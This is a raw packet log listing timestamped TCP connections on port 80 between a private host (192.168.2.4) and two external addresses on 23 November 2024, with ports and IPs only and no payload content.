Nov 23, 2024 11:22:23.953080893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.953135014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.953192949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.953201056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.953208923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.953250885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.954055071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.954116106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.954174042 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.954206944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.954286098 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.954293013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.954334021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.954946041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.955049038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.955168962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.955224991 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.955274105 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.955346107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.955394983 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.955904007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.955981970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.956082106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.956242085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.956326962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.956372976 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.956454992 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.956826925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.956887007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.956995964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.957277060 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.957325935 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.957410097 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.957456112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.957797050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.957978010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.958023071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.958345890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.958390951 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.958506107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.958556890 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.958731890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.958870888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.958924055 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.959342003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.959393024 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.959443092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.959563017 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.959645033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.959894896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.959969997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.960391045 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.960439920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.960572004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.960630894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.960645914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.960689068 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.960699081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.961416006 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.961462975 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.961524010 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.961540937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.961611986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.961612940 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.961648941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.962551117 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.962565899 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.962583065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.962598085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.962615967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.962667942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.963432074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.963491917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.963506937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.963597059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.963629007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.963644981 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.963656902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.964333057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.964445114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.964461088 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.964571953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.964579105 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.964598894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.964754105 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.965276003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.965441942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.965493917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.965497971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.965511084 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.965534925 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.965565920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.966223955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.966428995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.966483116 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.966515064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.966531038 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.966566086 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.966578007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.967138052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.967245102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.967331886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.967483044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.967534065 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.967612982 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.967705965 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.968076944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.968121052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.968197107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.968460083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.968544960 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.968630075 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.968672991 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.969048023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.969202995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.969535112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.969583988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.969599962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.969630003 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.969645023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.969944954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.970007896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.970562935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.970629930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.970686913 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.970716953 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.970731974 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.970870972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.971008062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.971605062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.971661091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.971695900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.971720934 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.971735001 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.971851110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.971868038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.971910000 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.972585917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.972801924 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.972817898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.972831964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.972867966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.972894907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.973632097 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.973733902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.973758936 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.973781109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.973788023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.973803043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.973880053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.974582911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.974658966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.974674940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.974715948 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.974757910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.974883080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.975578070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.975637913 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.975653887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.975680113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.975683928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.975739002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.976526976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.976583004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.976599932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.976624966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.976679087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.976681948 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.977483034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.977579117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.977596998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.977647066 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.977679014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.977714062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.977762938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.978442907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.978571892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.978591919 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.978627920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.978629112 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.978678942 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.979358912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.979413986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.979546070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.979609013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.979615927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.979624033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.979676008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.980264902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.980395079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.980519056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.980542898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.980559111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.980612993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.981201887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.981275082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.981411934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.981503963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.981549978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.981637001 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.981683016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.982141972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.982290030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.982340097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.982517004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.982614040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.982692003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.982789993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.983160973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.983303070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.983366966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.983500004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.983575106 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.983620882 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.984006882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.984127998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.984265089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.984504938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.984561920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.984579086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.984685898 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.984905005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.985521078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.985569954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.985769033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.985821009 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.986567974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.986619949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.986677885 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.986749887 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.987505913 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.987601042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.987651110 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.988615990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.988666058 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.988703966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.989518881 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.989572048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.989742994 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.990523100 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.990576029 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.990581036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.990637064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.991463900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.991575003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.991626024 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.991925955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.992449999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.992661953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.993438005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.993459940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.993488073 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.993515968 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.994519949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.994576931 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.995445013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.995492935 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.995563984 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.996401072 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.996440887 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.996552944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.997425079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.997472048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.997546911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.998399973 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.998456955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.138185978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.138258934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.138333082 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.138607979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.138664961 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.138717890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.138860941 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.139600992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.139624119 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.139650106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.139666080 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.140587091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.140635014 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.140702009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.140754938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.141567945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.141655922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.141710043 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.142591000 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.142647028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.142708063 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.142813921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.143615007 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.143673897 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.143718004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.143799067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.144567013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.144613981 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.144702911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.144752026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.145565987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.145682096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.145739079 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.146228075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.146352053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.146461964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.146528006 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.146580935 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.146723986 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.146744967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.146769047 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.146883965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.146994114 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.147537947 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.147599936 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.147617102 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.147656918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.147703886 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.147953033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.148060083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.148220062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.148576021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.148622036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.148713112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.148762941 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.148893118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.148943901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.148968935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.149548054 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.149602890 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.149682045 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.149735928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.149827003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.149914026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.149941921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.150517941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.150573969 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.150633097 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.150696039 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.150798082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.150902987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.150958061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.151530981 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.151585102 CET	49793	80	192.168.2.4	185.215.113.16
